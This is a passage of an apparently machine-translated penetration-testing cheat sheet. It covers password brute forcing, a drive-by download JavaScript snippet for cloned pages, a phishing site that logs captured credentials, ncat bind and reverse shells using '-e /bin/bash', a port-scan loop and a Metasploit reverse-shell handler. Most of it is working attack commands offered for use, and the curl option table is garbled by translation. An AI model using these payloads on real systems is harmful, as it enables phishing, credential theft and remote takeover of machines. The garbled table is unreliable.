After you generated the wordlist, use it with tools such as Hydra, Burp Suite Intruder, etc., to brute force login web forms. Hydra can attack authentication mechanisms for all kinds of services and ports.
If strong password policy is enforced, lazy passwords usually start with one capitalized word followed by a few digits and one special character at the end (eg, Password123!).
You can also use the generated wordlist with hashcat, eg, to crack NTLMv2 hashes that you have collected using LLMNR responder during a network penetration testing, etc.
Find out how to embed a PowerShell script into an MS Word document at ivan-sincek/powershell-reverse-tcp.
To force users to download a malicious file, copy and paste this JavaScript code block on any cloned web page:
function download ( url , type , name , method ) {
var req = new XMLHttpRequest ( ) ;
req . open ( method , url , true ) ;
req . responseType = 'blob' ;
req . onload = function ( ) {
var blob = new Blob ( [ req . response ] , { type : type } )
var isIE = false || ! ! document . documentMode ;
if ( isIE ) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if ( window . navigator && window . navigator . msSaveOrOpenBlob ) {
window . navigator . msSaveOrOpenBlob ( blob , name ) ;
}
} else {
var anchor = document . createElement ( 'a' ) ;
anchor . href = window . URL . createObjectURL ( blob ) ;
anchor . download = name ;
anchor . click ( ) ;
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout ( function ( ) {
window . URL . revokeObjectURL ( anchor ) ;
anchor . remove ( ) ;
} , 250 ) ;
}
} ;
req . send ( ) ;
}
// specify your file here, use only an absolute URL
download ( 'http://localhost/files/pentest.pdf' , 'application/pdf' , 'pentest.pdf' , 'GET' ) ;
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');To try it out, copy all the content from social_engineeringdriveby_download to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
To try it out, copy all the content from social_engineeringphishing_website to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
Captured credentials will be stored in social_engineeringphishing_websitelogscredentials.log.

Figure 2 - Phishing Website
Read the comments in social_engineeringphishing_websiteindex.php to get a better understanding on how all of it works.
You can modify and expand this template to your liking. You have everything that needs to get you started.
You can easily customize CSS to make it look more like the company you are testing, eg, change colors, logo, etc.
Check the standalone redirect templates in social_engineeringphishing_websiteredirects directory.
Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php .
Here you can find a bunch of random stuff.
Download a file:
curl somesite.com/somefile.txt -o somefile.txt
Upload a file:
curl somesite.com/uploads/ -T somefile.txt
| Pilihan | Keterangan |
|---|---|
| -D | Sends the specified data in a POST request to the HTTP server |
| -H | Extra header to include in the request when sending HTTP to a server |
| -Saya | Include the HTTP response headers in the output |
| -k | Proceed and operate server connections otherwise considered insecure |
| -Hai | Write to file instead of stdout |
| -T | Transfers the specified local file to the remote URL, same as PUT method |
| -v | Make the operation more talkative |
| -X | Use the specified proxy ([protocol://]host[:port]) |
| -X | Specifies a custom request method to use when communicating with the HTTP server |
Find out how to test a web server for various HTTP methods and method overrides at ivan-sincek/forbidden.
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OKrnrn"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem
Find out how to create an SSL/TLS certificate at ivan-sincek/secure-website.
Check if connection to a specified TCP port (eg, port 22 or 23) is possible:
for i in {0..255} ; do ncat -nv " 192.168.8. ${i} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; done
for ip in $( cat ips.txt ) ; do ncat -nv " ${ip} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; doneSet up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.
I advise you not to transfer any sensitive data over it, just in case.
Credits to the authors!